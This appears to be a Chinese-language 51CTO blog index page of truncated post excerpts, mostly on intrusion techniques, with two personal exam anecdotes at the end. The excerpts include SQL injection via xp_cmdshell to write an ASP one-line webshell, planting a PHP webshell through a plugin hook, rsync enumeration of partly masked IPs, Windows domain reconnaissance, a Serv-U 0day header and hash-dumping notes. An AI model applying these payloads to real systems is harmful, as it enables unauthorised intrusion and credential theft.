51CTO博客开发
14.3 Sybase内的MS SQL Server 注入技术 有大量的关于Microsoft SQL Server应用程序内SQL注入的文章被发表，这是因为Sybase 和MS SQL Server有共同的来源，值得快速研究一下这个著名的技术和其在Sybase内的工作方式。 14.3.1 注释 Sybase使用“--”和“/*”注释风
<?php function getClientIp() { if (!empty($_SERVER["HTTP_CLIENT_IP"])) $ip = $_SERVER["HTTP_CLIENT_IP"];
首先查看873端口是否开放。 然后使用 rsync xxx.xxx.xxx.xxx:: 查看是否可以看到目录。 看相应的下级目录(注意一定要在目录后面添加上/) rsync 210.51.X.X::htdocs_app/ rsync 210.51.X.X::auto/ rsync 210.51.X.X::edu/ 2.下载rsync服务器上的配置文件 rsync -avz
查询域管理员用户：net group "domain admins" /domainT00LS& W% c7 S. C6 M$ ^! E2 t 查询域用户：net user /domain 8 q5 l6 X% s0 q& ^) O* f 查询域名称：net view /domain Security$ m7 o1 r8 x* k! B"
1、 用^转义字符来写ASP(一句话木马)文件的方法: ? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runa
Plugins & Products选项>>Add New Plugin(添加一个新插件) Hook Location 选择ajax_complete,Title处随便写了,Plugin PHP Code :写入一句话; 直接访问http://xxooxooo.com/ajax.php 一句话 另求PHP带端口扫描WEBSH
I m better than TESO! CONFIDENTIAL SOURCE MATERIALS! [*]----------------------------------------------------[*] Serv-U FTP Server Jail Break 0day Discovered By Kingcope Year 2011 [*]------------
阿江统计拿WebShell 第一： 前提知道数据库路经，并且改成asp或asa后缀！阿江计数程序，可以通过 http://网站/stat.asp?style=text&referer=代码内容&screenwidth=1024 直接提交，即可把代码内容直接插入到计数系统的数据库中，而此系统默认数据库为count#.asa，我们可以通过http://
原文已经发到了黑防10年，记录丢失了，本来是想发自己空间的 ，一直没发，现在重新搞一次，然后记录之，勿转，谢谢。 xx.xx.50.163 数据库 192.168.0.155 websa 搞定 TCP ports (6) 21,22,80,111,1521,8080 xx.xx.50.164 邮件1 TCP ports (6) 21,22,25,80
wget ftp://ftp.joedog.org/pub/siege/siege-latest.tar.gz siege http://www.*.com -c200 -t5 siege -c 300 -r 2 http://www.*.cn/ProductReviewContext.aspx?id=314 -b wget http://blog.s135.com/soft/l
今天群里有人在那说wce抓不出来hash，我研究了下，windows2003默认wce抓出来是add，但是gsdump抓出来是正常的，可破的。然后改为发送lm与ntlm，重启服务器，然后再wce抓 就抓的出来 了 还有就是add开头的 ，是无法破的。 超过14位的windows密码，lm段为全0 windows策略限制，组策略改
在Linux 环境下gcc编译exp的时候，,经常遇到如下警告信息 只需要在源代码中添加两个头文件： #include <stdio.h> #include <stdlib.h> #include<string.h> 绝对没问题~
前几天把na 过了，好久以前都说去考，一直觉得太贵了。没去考。结果上个星期5还是去了。学了不考也不行。找工作，人家都还认这个，没害处。考了，结果就过了。
呵呵，第2次考了。上次就是太大意了。以为一定过了，都没检查，粗心大意，做得来的题都挂了，下午结果差了2分。这回总算无惊无险，还是一贯的风格，上午提前1个小时交卷，下午提前1个半小时交卷，和上次比，唯一不同的是这次检查了一遍，就过了~让我多等了一年（上半年，地震没考的成）~CAO！
Copyright © 2005-2025 51CTO.COM 版权所有 京ICP证060544号
